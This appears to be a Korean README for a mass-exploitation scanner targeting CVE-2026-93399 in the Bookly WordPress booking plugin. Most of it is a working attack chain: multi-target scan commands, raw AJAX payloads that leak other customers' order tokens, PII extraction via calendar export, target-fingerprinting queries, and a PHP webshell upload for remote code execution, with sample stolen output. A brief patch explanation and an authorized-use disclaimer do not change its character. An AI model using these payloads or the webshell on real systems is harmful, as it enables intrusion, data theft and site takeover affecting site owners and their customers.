
Bookly WordPress 플러그인의 CVE-2026-93399에 대한 Python 대량 익스플로잇 스캐너: 버전 탐지, 인증 없는 IDOR 주문 토큰 열거, PII 추출, 웹셸 RCE.
Bookly <= 28.2 비인증 IDOR + PII 유출 + RCE
Bookly — Online Scheduling and Appointment Booking System WordPress 플러그인(버전 <= 28.2)에 영향을 미치는 CVE-2026-93399(CVSS 9.1 심각)에 대한 대규모 악용 스캐너입니다.
WordPress용 Bookly 플러그인은 bookly_get_form_id, bookly_render_complete, bookly_add_to_calendar, bookly_rollback_order AJAX 액션을 통해 안전하지 않은 직접 객체 참조(IDOR) 에 취약합니다. 모든 액션은 인증이 필요 없으며(_default => 'anonymous'), CSRF 보호가 비활성화되어 있습니다(csrfTokenValid()가 true를 반환).
bookly_get_form_id 핸들러는 공격자가 제어하는 form_data(order_id 포함)를 아무런 검증 없이 새로운 예약 세션에 그대로 저장합니다. 이어서 bookly_render_complete 핸들러는 이렇게 주입된 order_id를 신뢰하여 해당 Order의 비밀 토큰을 조회하고 반환합니다. 이를 통해 비인증 공격자는 순차적인 주문 ID를 열거하고, 다른 고객의 주문 토큰을 노출시키며, 캘린더/예약 정보를 조회하고, 완료되지 않은 임의의 예약을 영구적으로 삭제할 수 있습니다.
Step 1: getFormId → inject form_data[order_id] = VICTIM_ID (IDOR)
Step 2: renderComplete → leak victim order token via Order::query()
Step 3: addToCalendar → extract customer PII (staff name, email, service, date)
Step 4: sessionSave → inject file payload (RCE, requires Files add-on)
_prepareFormData() 화이트리스트 및 _prepareCartData() 새니타이저 추가)requests 라이브러리pip install requests
git clone https://github.com/josemour8/CVE-2026-93399.git
cd CVE-2026-93399
pip install requests
# Detect Bookly version (safe, no exploit)
python3 exploit.py -u http://target.com --detect
# IDOR: enumerate order tokens (1-50)
python3 exploit.py -u http://target.com --enumerate --start 1 --end 50
# PII extraction via ICS (staff name, email, appointment data)
python3 exploit.py -u http://target.com --pii
# RCE: attempt webshell upload via session injection
python3 exploit.py -u http://target.com --rce
# Full chain: IDOR + PII + RCE
python3 exploit.py -u http://target.com --full
# Full chain on target list with 10 threads
python3 exploit.py -f targets.txt --full -th 10 -o results.txt
# Enumerate tokens across multiple targets
python3 exploit.py -f targets.txt --enumerate --start 1 --end 100 -th 20
| 플래그 | 설명 |
|---|---|
-u, --url | 단일 대상 URL |
-f, --file | 대상 URL 목록이 담긴 파일 (한 줄에 하나씩) |
--detect | 버전만 확인 (안전) |
--enumerate | IDOR: 주문 토큰 유출 |
--pii | ICS 캘린더 내보내기를 통한 PII 추출 |
--rce | 웹셸 업로드 시도 |
--full | 전체 체인: IDOR + PII + RCE |
--start N | 시작 order_id (기본값: 1) |
--end N | 종료 order_id (기본값: 50) |
-th, --threads N | 스레드 수 (기본값: 5) |
-o, --output FILE | 출력 파일 (기본값: results.txt) |
-v, --verbose | 모든 시도 표시 |
body="bookly-responsive-appointment-booking-tool"
body="BooklyL10nGlobal"
body="bookly-main.css?ver=28.2"
body="bookly-responsive-appointment-booking-tool" && body="BooklyL10nGlobal"
body="bookly-addon-files"
body="bookly-js-upload"
POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
action=bookly_get_form_id
form_data[order_id]=1
form_data[data][first_name]=x
form_data[chain][0][service_id]=1
form_data[chain][0][staff_ids][]=1
form_data[cart][0][service_id]=1
form_data[cart][0][staff_ids][]=1
응답:
{"success":true,"form_id":"a1b2c3d4e5f6...","status":{"booking":"new"}}
취약한 코드 (Ajax.php:45-46):
$form_id = Lib\FormSession::createSession();
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// form_data stored RAW — no _prepareFormData() whitelist in <= 28.2
POST /wp-admin/admin-ajax.php
action=bookly_render_complete
form_id=a1b2c3d4e5f6...
응답:
{"success":true,"bookly_order":"de2730e13265e86364172d99444ebe3d","html":"..."}
취약한 코드 (Ajax.php:733):
'bookly_order' => Lib\Entities\Order::query()
->where('id', $userData->getOrderId()) // attacker-controlled
->fetchVar('token') // victim token leaked
GET /wp-admin/admin-ajax.php?action=bookly_add_to_calendar&bookly_order=LEAKED_TOKEN&calendar=ics
응답: 고객 데이터가 포함된 ICS 파일:
BEGIN:VEVENT
ORGANIZER;CN=Admissions Manager:mailto:[email protected]
SUMMARY:TNS Gulberg - Tour
DTSTART:20230908T080000Z
END:VEVENT
POST /wp-admin/admin-ajax.php
action=bookly_files_upload
custom_field_id=<field_id_from_booking_form>
csrf_token=<from_homepage>
file=shell.php (Content: <?php echo system($_GET["c"]); ?>)
셸 위치: /wp-content/uploads/bookly-files/shell.php
http://target.com | IDOR | order_id=1 | token=de2730e13265e86364172d99444ebe3d
http://target.com | PII | order_id=2 | staff=Admissions Manager | [email protected] | service=TNS Gulberg - Tour | date=20230908T080000Z
http://target.com | RCE | http://target.com/wp-content/uploads/bookly-files/pxd001.php?c=id
getFormId() 핸들러는 전체 form_data 매개변수(사용자가 제어하는 JSON)를 화이트리스트나 정제 없이 세션 데이터베이스에 저장합니다. 이로 인해 공격자는 order_id를 포함한 임의의 세션 키를 주입할 수 있습니다.
renderComplete() 핸들러는 세션에서 order_id를 읽고 Order 테이블을 직접 쿼리합니다 — 현재 세션이 해당 주문을 생성했는지 확인하지 않고.
csrfTokenValid()가 return true로 재정의됨permissions()가 array('_default' => 'anonymous')를 반환하므로, 모든 핸들러가 wp_ajax_와 wp_ajax_nopriv_ 훅을 모두 등록함버전 28.3은 _prepareFormData()를 추가했습니다 — 표시 설정(skip_service_step, hide_service_part1, hide_service_part2, defaults)을 제외한 모든 것을 제거하는 엄격한 화이트리스트입니다. 또한 장바구니 항목 키를 정제하기 위해 _prepareCartData()도 추가했습니다.
// 28.2 (vulnerable):
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// 28.3 (fixed):
Lib\FormSession::saveSession($form_id, self::_prepareFormData(self::parameter('form_data')));
웹셸 업로드를 통한 RCE에는 다음이 필요합니다:
bookly_files_upload AJAX 엔드포인트는 인증이 필요 없으며 멀티파트 파일 업로드를 직접 수락합니다. 그러나 Files 애드온은 허용 목록에 대해 파일 확장자를 검증합니다. 허용 목록이 올바르게 구성된 경우 모든 PHP 확장자가 차단됩니다.
IDOR 세션 주입은 form_data[data][info_fields]에 파일 페이로드를 삽입할 수도 있습니다. saveAppointment가 Proxy\Files::attachCIFiles()를 트리거하면 파일 핸들러가 주입된 데이터를 처리합니다. 이 경로는 Files 애드온이 활성화되어 있어야 하며 애드온의 attachCIFiles 구현에 의존합니다.
이 도구는 교육 및 승인된 테스트 목적으로만 제공됩니다. 저자는 이 도구로 인해 발생하는 오용이나 손해에 대해 책임지지 않습니다. 대상 스캔 또는 테스트 전에 항상 적절한 승인을 받으십시오.
MIT 라이선스 — 자세한 내용은 LICENSE 파일을 참조하십시오.